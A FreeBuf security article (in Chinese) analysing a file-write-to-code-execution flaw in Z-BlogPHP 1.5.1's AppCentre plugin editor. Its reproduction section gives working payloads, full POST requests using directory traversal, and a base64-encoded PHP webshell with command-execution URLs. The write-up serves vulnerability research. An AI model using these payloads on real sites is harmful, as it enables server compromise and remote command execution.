freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

代码审计| Z-BlogPHP_1_5_1_Zero GetShell漏洞分析
2018-04-24 16:05:41

0x00 背景

看了Hiwin师傅发的《Z-Blog两处Getshell分析(附EXP)(CVE-2018-8893、CVE-2018-9169、CVE-2018-9153)》的文章,我也分析了下GetShell的方法,漏洞的利用和Hiwin师傅的不大一样https://xz.aliyun.com/t/2277,欢迎讨论交流。

0x01 GetShell漏洞的分析

0x00 相关环境

源码信息:Z-BlogPHP_1_5_1_Zero

问题文件:\zb_users\plugin\AppCentre\plugin_edit.php

漏洞类型:文件写入导致代码执行

站点地址:https://www.zblogcn.com/

0x01 漏洞分析

在文件\zb_users\plugin\AppCentre\plugin_edit.php的第47行-68行中发现如下代码块,仔细分析该代码块可以知道,两处的file_put_contents($path, $file);文件名和文件内容都是用户可以控制的。

控制.png

首先是在第57-61行中,先读取tpl/main.html文件中的内容,然后将<%appid%>替换为$app->id的值,然后通过POST请求得到要写入的文件路径名称,再进行file_put_contents操作。

操作.png

然后第63-67行中也差不多,只是写入的文件是固定为include.php文件。

文件.png

反向跟踪下$app->id在该文件的第50行中,要求传入的值开头需要以字母数字和下划线组成,长度为3-30字符。

字符.png

因此只需要前面三个字符满足要求后面的字符可以直接为PHP代码,这样就可以将PHP代码写入到目标文件中了。

目标.png

接下来要查看下zb_users/plugin/AppCentre/tpl/main.html和zb_users/plugin/AppCentre/tpl/include.html文件中存在<%appid%>的位置,然后根据代码情况写入PHP代码。

zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置。

位置 1.png

zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置。

位置  2.png

首先看第一处zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置这个位置因为有2处的写入点,且两处的闭合规则是不一致的,所以可以使用?>的方式闭合前一个位置,这样后面的内容包括后一个位置都是作为普通文本了。这里经过测试在windows下,windows下file_put_contents中的路径位置如果有?,*,null的话便会报错,无法写入文件。

无法.png

看第二处zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置有5处,其中第1,2处与其余3处的闭合方式是不同的。且 如果不定义RegisterPlugin 这个方法就会报错,但是定义了这个方法,因为写入位置有4处,其中三处都会定义这个方法,又提示Cannot redeclare RegisterPlugin(),因此在不引入?>或/*的情况下实在想不出构造的方法。

方法.png

因此这个文件写入导致GetShell,经过测试仅得到了可以在Linux下利用的方式。windows下的利用方式期待有师傅能一起交流。

0x02 漏洞复现

构造模板文件zb_users/plugin/AppCentre/tpl/main.html利用方式的paylod:

balabal')){}$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f);?>

因为\zb_users\plugin\AppCentre\plugin_edit.php文件中的60行中存在目录跳转的漏洞。

漏洞.png

所以可以使用../进行目录跳转然后将写入的文件替换zb_users/plugin/Totoro/main.php文件,进行如下请求写入恶意代码,然后进行替换zb_users/plugin/Totoro/main.php文件.

POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1

Host: 192.168.112.136

Content-Length: 548

Cache-Control: max-age=0

Origin: [http://192.168.112.136](http://192.168.112.136)

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: [http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.phpaaa](http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.phpaaa)

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22zblog%22%7D; timezone=8

Connection: close

app_id=balabal')){}$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3b%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=../Totoro/main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

当管理员访问 评论管理->Totoro设置的时候(http://192.168.112.136/zb_users/plugin/Totoro/main.php)的时候便会触发脚本生成evil.php的恶意文件。

恶意 1.png恶意 2.png

手动连接一句话便可以执行命令http://192.168.112.136/zb_users/plugin/Totoro/evil.php?func=assert&cmd=system(%27ls%27)

27.png

构造模板文件zb_users/plugin/AppCentre/tpl/include.html利用方式的paylod:

12a(){};function RegisterPlugin(){};$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f)?>

进行如下请求便会将代码写入到include.php文件中

POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1

Host: 192.168.112.136

Content-Length: 563

Cache-Control: max-age=0

Origin: [http://192.168.112.136](http://192.168.112.136)

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: [http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.php](http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.php)

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22zblog%22%7D; timezone=8

Connection: close

app_id=12a(){}%3bfunction+RegisterPlugin(){}%3b$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

on.png

然后访问http://192.168.112.136/zb_users/plugin/12a%28%29%7B%7D%3Bfunction%20RegisterPlugin%28%29%7B%7D%3B%24f%3Dfopen%28%27evil.php%27%2C%27a%27%29%3Bfwrite%28%24f%2Cbase64_decode%28%27PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b%27%29%29%3Bfclose%28%24f%29%3F%3E/include.php需要对文件名进行url编码。访问结束后会生成一个evil.php且文件的内容为一句话木马。

muma.png

请求evil.php并连接一句话。http://192.168.112.136/zb_users/plugin/12a%28%29%7B%7D%3Bfunction%20RegisterPlugin%28%29%7B%7D%3B%24f%3Dfopen%28%27evil.php%27%2C%27a%27%29%3Bfwrite%28%24f%2Cbase64_decode%28%27PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b%27%29%29%3Bfclose%28%24f%29%3F%3E/evil.php?func=assert&cmd=system('ifconfig')

fig.png

以上这两种利用方式都需要与csrf结合,而Hiwin师傅利用的方式是与csrf,XSS进行利用从而GetShell。详细内容参见https://xz.aliyun.com/t/2277

0x02 小结

本篇以z-blog源码进行审计和漏洞分析,其中windows下的GetShell方法暂时没整出来,windows限制太多了(师傅们如果有好思路期待一起讨论),但是Linux是可以与CSRF漏洞结合利用,便可以成功GetShell,本篇的一些利用方式与Hiwin师傅的不大一样,膜一波Hiwin师傅的思路,很棒的;-) 期待师傅们一起交流讨论,但是如果是hc请走开勿扰,交流学习可联系我thinking_balabala@163.com。

qrcode_for_gh_223e082fe8a7_344.jpg

# 漏洞分析 # Z-BlogPHP
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者